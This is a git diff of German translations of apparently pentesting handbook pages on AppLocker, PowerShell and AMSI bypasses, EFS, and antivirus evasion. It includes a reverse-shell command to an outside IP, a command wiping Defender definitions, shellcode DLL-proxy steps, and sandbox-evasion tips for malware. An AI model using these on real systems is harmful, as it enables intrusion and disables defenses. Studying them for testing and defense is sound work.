Standardmäßig läuft der **Exchange-Dienst als SYSTEM** und erhält übermäßige Berechtigungen (insbesondere hat er **WriteDacl-Berechtigungen auf der Domäne vor dem kumulativen Update 2019**). Dieser Fehler kann ausgenutzt werden, um die **Weiterleitung von Informationen zu LDAP zu ermöglichen und anschließend die NTDS-Datenbank der Domäne zu extrahieren**. In Fällen, in denen die Weiterleitung zu LDAP nicht möglich ist, kann dieser Fehler dennoch verwendet werden, um sich bei anderen Hosts innerhalb der Domäne weiterzuleiten und zu authentifizieren. Die erfolgreiche Ausnutzung dieses Angriffs gewährt sofortigen Zugriff auf den Domänenadministrator mit jedem authentifizierten Domänenbenutzerkonto.
Standardmäßig läuft der **Exchange-Dienst als SYSTEM** und erhält übermäßige Berechtigungen (insbesondere hat er **WriteDacl-Berechtigungen auf der Domäne vor dem kumulativen Update 2019**). Dieser Fehler kann ausgenutzt werden, um die **Weiterleitung von Informationen zu LDAP zu ermöglichen und anschließend die NTDS-Datenbank der Domäne zu extrahieren**. In Fällen, in denen eine Weiterleitung zu LDAP nicht möglich ist, kann dieser Fehler dennoch verwendet werden, um sich bei anderen Hosts innerhalb der Domäne weiterzuleiten und zu authentifizieren. Die erfolgreiche Ausnutzung dieses Angriffs gewährt sofortigen Zugriff auf den Domänenadministrator mit jedem authentifizierten Domänenbenutzerkonto.
## Innerhalb von Windows
Wenn Sie sich bereits auf der Windows-Maschine befinden, können Sie Windows zwingen, sich mit privilegierten Konten mit folgendem Befehl zu einem Server zu verbinden:
Wenn Sie sich bereits auf der Windows-Maschine befinden, können Sie Windows zwingen, sich mit privilegierten Konten mit folgendem Befehl mit einem Server zu verbinden:
### Defender MpCmdRun
```bash

26
src/windows-hardening/authentication-credentials-uac-and-efs.md
View File

@ -24,7 +24,7 @@ Dieser Registrierungs-Pfad enthält die Konfigurationen und Richtlinien, die von
- `HKLM\Software\Policies\Microsoft\Windows\SrpV2`
### Umgehen
### Umgehung
- Nützliche **beschreibbare Ordner**, um die AppLocker-Richtlinie zu umgehen: Wenn AppLocker die Ausführung von allem innerhalb von `C:\Windows\System32` oder `C:\Windows` erlaubt, gibt es **beschreibbare Ordner**, die Sie verwenden können, um **dies zu umgehen**.
```
@ -36,7 +36,7 @@ C:\windows\tracing
- Häufig **vertrauenswürdige** [**"LOLBAS's"**](https://lolbas-project.github.io/) Binärdateien können ebenfalls nützlich sein, um AppLocker zu umgehen.
- **Schlecht geschriebene Regeln könnten ebenfalls umgangen werden**
- Zum Beispiel, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, können Sie einen **Ordner namens `allowed`** überall erstellen und er wird erlaubt.
- Organisationen konzentrieren sich oft darauf, die **`%System32%\WindowsPowerShell\v1.0\powershell.exe`** ausführbare Datei zu **blockieren**, vergessen jedoch die **anderen** [**PowerShell ausführbaren Standorte**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) wie **`%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe`** oder **`PowerShell_ISE.exe`**.
- Organisationen konzentrieren sich oft darauf, die **`%System32%\WindowsPowerShell\v1.0\powershell.exe`** ausführbare Datei zu **blockieren**, vergessen jedoch die **anderen** [**PowerShell ausführbaren Standorte**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) wie `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` oder `PowerShell_ISE.exe`.
- **DLL-Durchsetzung sehr selten aktiviert** aufgrund der zusätzlichen Belastung, die sie auf ein System ausüben kann, und der Menge an Tests, die erforderlich sind, um sicherzustellen, dass nichts kaputt geht. Daher wird die Verwendung von **DLLs als Hintertüren helfen, AppLocker zu umgehen**.
- Sie können [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) oder [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) verwenden, um **Powershell**-Code in jedem Prozess auszuführen und AppLocker zu umgehen. Für weitere Informationen siehe: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
@ -101,9 +101,9 @@ sc query windefend
#Delete all rules of Defender (useful for machines without internet access)
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
```
## Encrypted File System (EFS)
## Verschlüsseltes Dateisystem (EFS)
EFS sichert Dateien durch Verschlüsselung, indem ein **symmetrischer Schlüssel** verwendet wird, der als **Dateiverschlüsselungsschlüssel (FEK)** bekannt ist. Dieser Schlüssel wird mit dem **öffentlichen Schlüssel** des Benutzers verschlüsselt und im $EFS **alternativen Datenstrom** der verschlüsselten Datei gespeichert. Wenn eine Entschlüsselung erforderlich ist, wird der entsprechende **private Schlüssel** des digitalen Zertifikats des Benutzers verwendet, um den FEK aus dem $EFS-Strom zu entschlüsseln. Weitere Details finden Sie [hier](https://en.wikipedia.org/wiki/Encrypting_File_System).
EFS sichert Dateien durch Verschlüsselung und verwendet einen **symmetrischen Schlüssel**, der als **Dateiverschlüsselungsschlüssel (FEK)** bekannt ist. Dieser Schlüssel wird mit dem **öffentlichen Schlüssel** des Benutzers verschlüsselt und im $EFS **alternativen Datenstrom** der verschlüsselten Datei gespeichert. Wenn eine Entschlüsselung erforderlich ist, wird der entsprechende **private Schlüssel** des digitalen Zertifikats des Benutzers verwendet, um den FEK aus dem $EFS-Strom zu entschlüsseln. Weitere Details finden Sie [hier](https://en.wikipedia.org/wiki/Encrypting_File_System).
**Entschlüsselungsszenarien ohne Benutzerinitiierung** umfassen:
@ -119,7 +119,7 @@ Diese Verschlüsselungsmethode ermöglicht **transparenten Zugriff** auf verschl
- Automatische Entschlüsselung erfolgt unter bestimmten Bedingungen, wie z.B. beim Kopieren nach FAT32 oder bei der Netzwerkübertragung.
- Verschlüsselte Dateien sind für den Eigentümer ohne zusätzliche Schritte zugänglich.
### Überprüfen Sie EFS-Informationen
### EFS-Informationen überprüfen
Überprüfen Sie, ob ein **Benutzer** diesen **Dienst** genutzt hat, indem Sie überprüfen, ob dieser Pfad existiert: `C:\users\<username>\appdata\roaming\Microsoft\Protect`
@ -132,15 +132,17 @@ Sie können auch `cipher /e` und `cipher /d` in einem Ordner verwenden, um alle
Dieser Weg erfordert, dass der **Opferbenutzer** einen **Prozess** auf dem Host **ausführt**. Wenn dies der Fall ist, können Sie mit einer `meterpreter`-Sitzung das Token des Prozesses des Benutzers nachahmen (`impersonate_token` von `incognito`). Oder Sie könnten einfach in den Prozess des Benutzers `migraten`.
#### Kenntnis des Passworts des Benutzers
#### Kenntnis des Benutzerpassworts
{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %}
{{#ref}}
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
{{#endref}}
## Group Managed Service Accounts (gMSA)
## Gruppenverwaltete Dienstkonten (gMSA)
Microsoft entwickelte **Group Managed Service Accounts (gMSA)**, um die Verwaltung von Dienstkonten in IT-Infrastrukturen zu vereinfachen. Im Gegensatz zu traditionellen Dienstkonten, die oft die Einstellung "**Passwort läuft nie ab**" aktiviert haben, bieten gMSAs eine sicherere und verwaltbare Lösung:
Microsoft entwickelte **gruppenverwaltete Dienstkonten (gMSA)**, um die Verwaltung von Dienstkonten in IT-Infrastrukturen zu vereinfachen. Im Gegensatz zu traditionellen Dienstkonten, die oft die Einstellung "**Passwort läuft nie ab**" aktiviert haben, bieten gMSAs eine sicherere und verwaltbare Lösung:
- **Automatische Passwortverwaltung**: gMSAs verwenden ein komplexes, 240 Zeichen langes Passwort, das automatisch gemäß der Domänen- oder Computerpolitik geändert wird. Dieser Prozess wird vom Key Distribution Service (KDC) von Microsoft verwaltet, wodurch manuelle Passwortaktualisierungen entfallen.
- **Automatische Passwortverwaltung**: gMSAs verwenden ein komplexes, 240 Zeichen langes Passwort, das automatisch gemäß der Domänen- oder Computerpolitik geändert wird. Dieser Prozess wird vom Microsoft Key Distribution Service (KDC) verwaltet, wodurch manuelle Passwortaktualisierungen entfallen.
- **Erhöhte Sicherheit**: Diese Konten sind immun gegen Sperrungen und können nicht für interaktive Anmeldungen verwendet werden, was ihre Sicherheit erhöht.
- **Unterstützung mehrerer Hosts**: gMSAs können über mehrere Hosts hinweg geteilt werden, was sie ideal für Dienste macht, die auf mehreren Servern ausgeführt werden.
- **Fähigkeit zu geplanten Aufgaben**: Im Gegensatz zu verwalteten Dienstkonten unterstützen gMSAs das Ausführen geplanter Aufgaben.
@ -181,7 +183,7 @@ $ExecutionContext.SessionState.LanguageMode
Powershell -version 2
```
In der aktuellen Windows-Version funktioniert dieser Bypass nicht, aber Sie können [**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM) verwenden.\
**Um es zu kompilieren, müssen Sie** **eine** _**Referenz hinzufügen**_ -> _Durchsuchen_ -> _Durchsuchen_ -> fügen Sie `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` hinzu und **ändern Sie das Projekt auf .Net4.5**.
**Um es zu kompilieren, müssen Sie** **eine Referenz** _**hinzufügen**_ -> _Durchsuchen_ -> _Durchsuchen_ -> fügen Sie `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` hinzu und **ändern Sie das Projekt auf .Net4.5**.
#### Direkter Bypass:
```bash
@ -240,7 +242,7 @@ Die SSPI ist dafür verantwortlich, das geeignete Protokoll für zwei Maschinen
## UAC - Benutzerkontensteuerung
[Benutzerkontensteuerung (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) ist eine Funktion, die eine **Zustimmungseingabeaufforderung für erhöhte Aktivitäten** ermöglicht.
[Benutzerkontensteuerung (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) ist eine Funktion, die eine **Zustimmungsaufforderung für erhöhte Aktivitäten** ermöglicht.
{{#ref}}
windows-security-controls/uac-user-account-control.md

26
src/windows-hardening/authentication-credentials-uac-and-efs/README.md
View File

@ -11,7 +11,7 @@ Es ist üblich, dass Organisationen **cmd.exe und PowerShell.exe** sowie Schreib
### Überprüfen
Überprüfen Sie, welche Dateien/Erweiterungen auf der schwarzen Liste oder der weißen Liste stehen:
Überprüfen Sie, welche Dateien/Erweiterungen auf der schwarzen Liste stehen oder auf der Whitelist sind:
```powershell
Get-ApplockerPolicy -Effective -xml
@ -20,7 +20,7 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
$a = Get-ApplockerPolicy -effective
$a.rulecollections
```
Dieser Registrierungspfad enthält die Konfigurationen und Richtlinien, die von AppLocker angewendet werden, und bietet eine Möglichkeit, die aktuelle Regelmenge zu überprüfen, die auf dem System durchgesetzt wird:
Dieser Registrierungs-Pfad enthält die Konfigurationen und Richtlinien, die von AppLocker angewendet werden, und bietet eine Möglichkeit, die aktuellen Regeln zu überprüfen, die auf dem System durchgesetzt werden:
- `HKLM\Software\Policies\Microsoft\Windows\SrpV2`
@ -36,7 +36,7 @@ C:\windows\tracing
- Häufig **vertrauenswürdige** [**"LOLBAS's"**](https://lolbas-project.github.io/) Binärdateien können ebenfalls nützlich sein, um AppLocker zu umgehen.
- **Schlecht geschriebene Regeln könnten ebenfalls umgangen werden**
- Zum Beispiel, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, können Sie einen **Ordner namens `allowed`** überall erstellen und er wird erlaubt.
- Organisationen konzentrieren sich oft darauf, die **`%System32%\WindowsPowerShell\v1.0\powershell.exe`** ausführbare Datei zu **blockieren**, vergessen jedoch die **anderen** [**PowerShell ausführbaren Standorte**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) wie `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` oder `PowerShell_ISE.exe`.
- Organisationen konzentrieren sich oft darauf, die **`%System32%\WindowsPowerShell\v1.0\powershell.exe`** ausführbare Datei zu **blockieren**, vergessen jedoch die **anderen** [**PowerShell ausführbaren Standorte**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) wie **`%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe`** oder **`PowerShell_ISE.exe`**.
- **DLL-Durchsetzung sehr selten aktiviert** aufgrund der zusätzlichen Belastung, die sie auf ein System ausüben kann, und der Menge an Tests, die erforderlich sind, um sicherzustellen, dass nichts kaputt geht. Daher wird die Verwendung von **DLLs als Hintertüren helfen, AppLocker zu umgehen**.
- Sie können [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) oder [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) verwenden, um **Powershell**-Code in jedem Prozess auszuführen und AppLocker zu umgehen. Für weitere Informationen siehe: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
@ -103,7 +103,7 @@ sc query windefend
```
## Encrypted File System (EFS)
EFS sichert Dateien durch Verschlüsselung, indem es einen **symmetrischen Schlüssel** verwendet, der als **Dateiverschlüsselungsschlüssel (FEK)** bekannt ist. Dieser Schlüssel wird mit dem **öffentlichen Schlüssel** des Benutzers verschlüsselt und im $EFS **alternativen Datenstrom** der verschlüsselten Datei gespeichert. Wenn eine Entschlüsselung erforderlich ist, wird der entsprechende **private Schlüssel** des digitalen Zertifikats des Benutzers verwendet, um den FEK aus dem $EFS-Strom zu entschlüsseln. Weitere Details finden Sie [hier](https://en.wikipedia.org/wiki/Encrypting_File_System).
EFS sichert Dateien durch Verschlüsselung, indem es einen **symmetrischen Schlüssel** verwendet, der als **Dateiverschlüsselungsschlüssel (FEK)** bekannt ist. Dieser Schlüssel wird mit dem **öffentlichen Schlüssel** des Benutzers verschlüsselt und im $EFS **alternativen Datenstrom** der verschlüsselten Datei gespeichert. Wenn eine Entschlüsselung erforderlich ist, wird der entsprechende **private Schlüssel** des digitalen Zertifikats des Benutzers verwendet, um den FEK aus dem $EFS-Stream zu entschlüsseln. Weitere Details finden Sie [hier](https://en.wikipedia.org/wiki/Encrypting_File_System).
**Entschlüsselungsszenarien ohne Benutzerinitiierung** umfassen:
@ -119,14 +119,14 @@ Diese Verschlüsselungsmethode ermöglicht **transparenten Zugriff** auf verschl
- Automatische Entschlüsselung erfolgt unter bestimmten Bedingungen, wie z.B. beim Kopieren nach FAT32 oder bei der Netzwerkübertragung.
- Verschlüsselte Dateien sind für den Eigentümer ohne zusätzliche Schritte zugänglich.
### Überprüfen Sie EFS-Informationen
### EFS-Informationen überprüfen
Überprüfen Sie, ob ein **Benutzer** diesen **Dienst** genutzt hat, indem Sie überprüfen, ob dieser Pfad existiert: `C:\users\<username>\appdata\roaming\Microsoft\Protect`
Überprüfen Sie, **wer** Zugriff auf die Datei hat, indem Sie cipher /c \<file>\
Überprüfen Sie, **wer** Zugriff auf die Datei hat, indem Sie cipher /c \<file>\ verwenden.\
Sie können auch `cipher /e` und `cipher /d` in einem Ordner verwenden, um alle Dateien zu **verschlüsseln** und **zu entschlüsseln**.
### Entschlüsseln von EFS-Dateien
### EFS-Dateien entschlüsseln
#### Als Autoritätssystem
@ -134,13 +134,15 @@ Dieser Weg erfordert, dass der **Opferbenutzer** einen **Prozess** im Host **aus
#### Kenntnis des Benutzerpassworts
{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %}
{{#ref}}
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
{{#endref}}
## Group Managed Service Accounts (gMSA)
Microsoft entwickelte **Group Managed Service Accounts (gMSA)**, um die Verwaltung von Dienstkonten in IT-Infrastrukturen zu vereinfachen. Im Gegensatz zu traditionellen Dienstkonten, die oft die Einstellung "**Passwort läuft niemals ab**" aktiviert haben, bieten gMSAs eine sicherere und verwaltbare Lösung:
Microsoft entwickelte **Group Managed Service Accounts (gMSA)**, um die Verwaltung von Dienstkonten in IT-Infrastrukturen zu vereinfachen. Im Gegensatz zu traditionellen Dienstkonten, die oft die Einstellung "**Passwort läuft nie ab**" aktiviert haben, bieten gMSAs eine sicherere und verwaltbare Lösung:
- **Automatische Passwortverwaltung**: gMSAs verwenden ein komplexes, 240 Zeichen langes Passwort, das automatisch gemäß der Domänen- oder Computerpolitik geändert wird. Dieser Prozess wird vom Key Distribution Service (KDC) von Microsoft verwaltet, wodurch manuelle Passwortaktualisierungen entfallen.
- **Automatische Passwortverwaltung**: gMSAs verwenden ein komplexes, 240-Zeichen-Passwort, das automatisch gemäß der Domänen- oder Computerpolitik geändert wird. Dieser Prozess wird vom Key Distribution Service (KDC) von Microsoft verwaltet, wodurch manuelle Passwortaktualisierungen entfallen.
- **Erhöhte Sicherheit**: Diese Konten sind immun gegen Sperrungen und können nicht für interaktive Anmeldungen verwendet werden, was ihre Sicherheit erhöht.
- **Unterstützung mehrerer Hosts**: gMSAs können über mehrere Hosts hinweg geteilt werden, was sie ideal für Dienste macht, die auf mehreren Servern ausgeführt werden.
- **Fähigkeit zu geplanten Aufgaben**: Im Gegensatz zu verwalteten Dienstkonten unterstützen gMSAs das Ausführen geplanter Aufgaben.
@ -187,7 +189,7 @@ In der aktuellen Windows-Version funktioniert dieser Bypass nicht, aber Sie kön
```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe
```
#### Reverse-Shell:
#### Reverse shell:
```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
```
@ -240,7 +242,7 @@ Die SSPI ist dafür verantwortlich, das geeignete Protokoll für zwei Maschinen
## UAC - Benutzerkontensteuerung
[Benutzerkontensteuerung (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) ist eine Funktion, die eine **Zustimmungsaufforderung für erhöhte Aktivitäten** ermöglicht.
[Benutzerkontensteuerung (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) ist eine Funktion, die eine **Zustimmungseingabeaufforderung für erhöhte Aktivitäten** ermöglicht.
{{#ref}}
uac-user-account-control.md

53
src/windows-hardening/av-bypass.md
View File

@ -10,7 +10,7 @@ Derzeit verwenden AVs verschiedene Methoden, um zu überprüfen, ob eine Datei b
### **Statische Erkennung**
Die statische Erkennung erfolgt durch das Markieren bekannter bösartiger Zeichenfolgen oder Byte-Arrays in einer Binärdatei oder einem Skript sowie durch das Extrahieren von Informationen aus der Datei selbst (z. B. Dateibeschreibung, Firmenname, digitale Signaturen, Icon, Prüfziffer usw.). Das bedeutet, dass die Verwendung bekannter öffentlicher Tools dazu führen kann, dass Sie leichter erwischt werden, da sie wahrscheinlich analysiert und als bösartig markiert wurden. Es gibt ein paar Möglichkeiten, diese Art der Erkennung zu umgehen:
Die statische Erkennung erfolgt durch das Markieren bekannter bösartiger Zeichenfolgen oder Byte-Arrays in einer Binärdatei oder einem Skript sowie durch das Extrahieren von Informationen aus der Datei selbst (z. B. Dateibeschreibung, Firmenname, digitale Signaturen, Icon, Prüfziffer usw.). Das bedeutet, dass die Verwendung bekannter öffentlicher Tools dazu führen kann, dass Sie leichter erwischt werden, da sie wahrscheinlich analysiert und als bösartig gekennzeichnet wurden. Es gibt ein paar Möglichkeiten, diese Art der Erkennung zu umgehen:
- **Verschlüsselung**
@ -18,14 +18,14 @@ Wenn Sie die Binärdatei verschlüsseln, gibt es keine Möglichkeit für AV, Ihr
- **Obfuskation**
Manchmal müssen Sie nur einige Zeichenfolgen in Ihrer Binärdatei oder Ihrem Skript ändern, um an AV vorbeizukommen, aber dies kann eine zeitaufwändige Aufgabe sein, je nachdem, was Sie obfuskieren möchten.
Manchmal müssen Sie nur einige Zeichenfolgen in Ihrer Binärdatei oder Ihrem Skript ändern, um an AV vorbeizukommen, aber dies kann je nach dem, was Sie obfuskieren möchten, eine zeitaufwändige Aufgabe sein.
- **Eigene Tools**
Wenn Sie Ihre eigenen Tools entwickeln, gibt es keine bekannten schlechten Signaturen, aber das erfordert viel Zeit und Mühe.
> [!NOTE]
> Eine gute Möglichkeit, die statische Erkennung von Windows Defender zu überprüfen, ist [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Es teilt die Datei im Grunde in mehrere Segmente auf und fordert Defender auf, jedes einzeln zu scannen. So kann es Ihnen genau sagen, welche Zeichenfolgen oder Bytes in Ihrer Binärdatei markiert sind.
> Eine gute Möglichkeit, die statische Erkennung von Windows Defender zu überprüfen, ist [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Es teilt die Datei im Grunde in mehrere Segmente auf und fordert Defender auf, jedes einzeln zu scannen, so kann es Ihnen genau sagen, welche Zeichenfolgen oder Bytes in Ihrer Binärdatei markiert sind.
Ich empfehle Ihnen dringend, diese [YouTube-Playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) über praktische AV-Evasion anzusehen.
@ -34,10 +34,10 @@ Ich empfehle Ihnen dringend, diese [YouTube-Playlist](https://www.youtube.com/pl
Die dynamische Analyse erfolgt, wenn das AV Ihre Binärdatei in einer Sandbox ausführt und nach bösartiger Aktivität Ausschau hält (z. B. versucht, die Passwörter Ihres Browsers zu entschlüsseln und zu lesen, einen Minidump von LSASS durchzuführen usw.). Dieser Teil kann etwas kniffliger sein, aber hier sind einige Dinge, die Sie tun können, um Sandboxes zu umgehen.
- **Schlaf vor der Ausführung** Je nach Implementierung kann dies eine großartige Möglichkeit sein, die dynamische Analyse von AV zu umgehen. AVs haben sehr wenig Zeit, um Dateien zu scannen, um den Arbeitsablauf des Benutzers nicht zu unterbrechen, daher können lange Schlafzeiten die Analyse von Binärdateien stören. Das Problem ist, dass viele AV-Sandboxes den Schlaf je nach Implementierung einfach überspringen können.
- **Überprüfung der Ressourcen des Computers** Normalerweise haben Sandboxes sehr wenig Ressourcen zur Verfügung (z. B. < 2 GB RAM), da sie sonst den Computer des Benutzers verlangsamen könnten. Hier können Sie auch sehr kreativ werden, indem Sie beispielsweise die CPU-Temperatur oder sogar die Lüftergeschwindigkeiten überprüfen; nicht alles wird in der Sandbox implementiert.
- **Maschinenspezifische Überprüfungen** Wenn Sie einen Benutzer anvisieren möchten, dessen Arbeitsplatz mit der Domäne "contoso.local" verbunden ist, können Sie eine Überprüfung der Domäne des Computers durchführen, um zu sehen, ob sie mit der von Ihnen angegebenen übereinstimmt. Wenn nicht, können Sie Ihr Programm beenden.
- **Überprüfung der Ressourcen des Computers** Normalerweise haben Sandboxes sehr wenig Ressourcen zur Verfügung (z. B. < 2 GB RAM), da sie sonst den Computer des Benutzers verlangsamen könnten. Sie können hier auch sehr kreativ werden, indem Sie beispielsweise die CPU-Temperatur oder sogar die Lüftergeschwindigkeiten überprüfen; nicht alles wird in der Sandbox implementiert.
- **Maschinenspezifische Überprüfungen** Wenn Sie einen Benutzer anvisieren möchten, dessen Arbeitsstation mit der Domäne "contoso.local" verbunden ist, können Sie eine Überprüfung der Domäne des Computers durchführen, um zu sehen, ob sie mit der von Ihnen angegebenen übereinstimmt. Wenn nicht, können Sie Ihr Programm beenden.
Es stellt sich heraus, dass der Computername der Sandbox von Microsoft Defender HAL9TH ist. Sie können also vor der Detonation nach dem Computernamen in Ihrer Malware suchen. Wenn der Name mit HAL9TH übereinstimmt, bedeutet das, dass Sie sich in der Sandbox von Defender befinden, und Sie können Ihr Programm beenden.
Es stellt sich heraus, dass der Computername der Sandbox von Microsoft Defender HAL9TH ist. Daher können Sie den Computernamen in Ihrer Malware vor der Detonation überprüfen. Wenn der Name mit HAL9TH übereinstimmt, bedeutet das, dass Sie sich in der Sandbox von Defender befinden, und Sie können Ihr Programm beenden.
<figure><img src="../images/image (209).png" alt=""><figcaption><p>Quelle: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
@ -45,14 +45,14 @@ Einige andere wirklich gute Tipps von [@mgeeky](https://twitter.com/mariuszbit)
<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev Kanal</p></figcaption></figure>
Wie wir in diesem Beitrag bereits gesagt haben, werden **öffentliche Tools** letztendlich **erkannt**, also sollten Sie sich etwas fragen:
Wie wir bereits in diesem Beitrag gesagt haben, werden **öffentliche Tools** letztendlich **erkannt**, also sollten Sie sich etwas fragen:
Wenn Sie beispielsweise LSASS dumpen möchten, **müssen Sie wirklich mimikatz verwenden**? Oder könnten Sie ein anderes, weniger bekanntes Projekt verwenden, das ebenfalls LSASS dumpen kann.
Die richtige Antwort ist wahrscheinlich Letzteres. Wenn man mimikatz als Beispiel nimmt, ist es wahrscheinlich eines der, wenn nicht das am häufigsten markierte Stück Malware von AVs und EDRs. Während das Projekt selbst super cool ist, ist es auch ein Albtraum, damit zu arbeiten, um an AVs vorbeizukommen. Suchen Sie also einfach nach Alternativen für das, was Sie erreichen möchten.
Die richtige Antwort ist wahrscheinlich Letzteres. Wenn man mimikatz als Beispiel nimmt, ist es wahrscheinlich eines der, wenn nicht das am häufigsten gekennzeichnete Malware-Stück von AVs und EDRs. Während das Projekt selbst super cool ist, ist es auch ein Albtraum, damit zu arbeiten, um an AVs vorbeizukommen. Suchen Sie also einfach nach Alternativen für das, was Sie erreichen möchten.
> [!NOTE]
> Wenn Sie Ihre Payloads zur Umgehung modifizieren, stellen Sie sicher, dass Sie die **automatische Probenübermittlung** in Defender deaktivieren, und bitte, ernsthaft, **LADEN SIE NICHT AUF VIRUSTOTAL HOCH**, wenn Ihr Ziel darin besteht, langfristig eine Umgehung zu erreichen. Wenn Sie überprüfen möchten, ob Ihre Payload von einem bestimmten AV erkannt wird, installieren Sie es auf einer VM, versuchen Sie, die automatische Probenübermittlung zu deaktivieren, und testen Sie es dort, bis Sie mit dem Ergebnis zufrieden sind.
> Wenn Sie Ihre Payloads zur Umgehung modifizieren, stellen Sie sicher, dass Sie **die automatische Probenübermittlung** in Defender deaktivieren, und bitte, ernsthaft, **LADEN SIE NICHT AUF VIRUSTOTAL HOCH**, wenn Ihr Ziel darin besteht, langfristig eine Umgehung zu erreichen. Wenn Sie überprüfen möchten, ob Ihre Payload von einem bestimmten AV erkannt wird, installieren Sie es auf einer VM, versuchen Sie, die automatische Probenübermittlung zu deaktivieren, und testen Sie es dort, bis Sie mit dem Ergebnis zufrieden sind.
## EXEs vs DLLs
@ -92,7 +92,7 @@ Dies sind die Schritte, die ich befolgt habe:
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)
```
Der letzte Befehl gibt uns 2 Dateien: eine DLL-Quellcodevorlage und die original umbenannte DLL.
Der letzte Befehl wird uns 2 Dateien geben: eine DLL-Quellcodevorlage und die original umbenannte DLL.
<figure><img src="../images/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure>
```
@ -141,7 +141,7 @@ Die Ausführung von `IEX (New-Object Net.WebClient).DownloadString('https://raw.
<figure><img src="../images/image (1135).png" alt=""><figcaption></figcaption></figure>
Beachte, wie es `amsi:` voranstellt und dann den Pfad zur ausführbaren Datei hinzufügt, von der das Skript ausgeführt wurde, in diesem Fall powershell.exe.
Beachte, wie es `amsi:` voranstellt und dann den Pfad zur ausführbaren Datei, von der das Skript ausgeführt wurde, in diesem Fall powershell.exe.
Wir haben keine Datei auf die Festplatte geschrieben, wurden aber trotzdem im Speicher aufgrund von AMSI erwischt.
@ -151,9 +151,9 @@ Es gibt ein paar Möglichkeiten, um AMSI zu umgehen:
Da AMSI hauptsächlich mit statischen Erkennungen arbeitet, kann das Modifizieren der Skripte, die du zu laden versuchst, eine gute Möglichkeit sein, um die Erkennung zu umgehen.
Allerdings hat AMSI die Fähigkeit, Skripte zu deobfuskieren, selbst wenn sie mehrere Schichten haben, sodass Obfuskation je nach Ausführung eine schlechte Option sein könnte. Das macht es nicht so einfach, zu entkommen. Obwohl manchmal alles, was du tun musst, darin besteht, ein paar Variablennamen zu ändern, und du bist auf der sicheren Seite, also hängt es davon ab, wie stark etwas markiert wurde.
Allerdings hat AMSI die Fähigkeit, Skripte zu deobfuskieren, selbst wenn sie mehrere Schichten haben, sodass Obfuskation je nach Ausführung eine schlechte Option sein könnte. Das macht es nicht so einfach, zu umgehen. Obwohl manchmal alles, was du tun musst, darin besteht, ein paar Variablennamen zu ändern, und du bist auf der sicheren Seite, also hängt es davon ab, wie stark etwas markiert wurde.
- **AMSI Bypass**
- **AMSI-Umgehung**
Da AMSI implementiert ist, indem eine DLL in den PowerShell (auch cscript.exe, wscript.exe usw.) Prozess geladen wird, ist es möglich, damit leicht zu manipulieren, selbst wenn man als unprivilegierter Benutzer läuft. Aufgrund dieses Fehlers in der Implementierung von AMSI haben Forscher mehrere Möglichkeiten gefunden, um die AMSI-Überprüfung zu umgehen.
@ -202,7 +202,7 @@ Es gibt mehrere Tools, die verwendet werden können, um **C# Klartextcode zu obf
- [**obfy**](https://github.com/fritzone/obfy): Fügt eine Schicht obfuskierten Operationen hinzu, die durch das C++-Template-Metaprogrammierungs-Framework generiert werden, was das Leben der Person, die die Anwendung knacken möchte, ein wenig schwieriger macht.
